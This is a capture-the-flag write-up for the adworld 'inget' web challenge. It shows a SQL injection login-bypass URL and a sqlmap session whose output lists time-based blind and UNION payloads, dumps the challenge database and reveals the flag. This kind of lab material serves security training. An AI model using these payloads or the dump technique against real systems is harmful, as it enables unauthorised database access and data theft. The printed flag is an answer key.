adworld-web-inget-20221226

inget

题目来源: 宜兴网信办

题目描述:

无

题目场景:

http://61.147.171.105:51222

http://61.147.171.105:51222/?id=1%27%20%20or%201=1%20–+

Please enter ID,and Try to bypass

nice : congratulations

Flag Is : cyberpeace{3df1eecfb5f794d6a94eba429f7e2846}

┌──(kwkl㉿kwkl)-[~/HODL/adworld/web/inget]
└─$ sqlmap -u ‘http://61.147.171.105:51222/?id=1’ --dump
___
H
___ [.]__ ___ ___ {1.6.10#stable}
|_ -| . [‘] | .’| . |
|| [(]|||__,| |
||V… || https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:48:20 /2022-12-26/

[13:48:21] [INFO] resuming back-end DBMS ‘mysql’
[13:48:21] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1’ AND (SELECT 3300 FROM (SELECT(SLEEP(5)))mjGn) AND ‘TmJv’='TmJv

Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT CONCAT(0x717a627171,0x564c495a6873625150554d5946684c5154454d797558544c7277594b565946744e774f496f756757,0x7162627a71),NULL-- -

---

[13:48:21] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL >= 5.0.12
[13:48:21] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[13:48:21] [INFO] fetching current database
[13:48:21] [INFO] fetching tables for database: ‘cyber’
[13:48:21] [INFO] fetching columns for table ‘cyber’ in database ‘cyber’
[13:48:21] [INFO] fetching entries for table ‘cyber’ in database ‘cyber’
Database: cyber
Table: cyber
[1 entry]
±—±---------------------------------------------±----------------+
| Id | pw | user |
±—±---------------------------------------------±----------------+
| 3 | cyberpeace{3df1eecfb5f794d6a94eba429f7e2846} | congratulations |
±—±---------------------------------------------±----------------+

[13:48:21] [INFO] table ‘cyber.cyber’ dumped to CSV file ‘/home/kwkl/.local/share/sqlmap/output/61.147.171.105/dump/cyber/cyber.csv’
[13:48:21] [INFO] fetched data logged to text files under ‘/home/kwkl/.local/share/sqlmap/output/61.147.171.105’

[*] ending @ 13:48:21 /2022-12-26/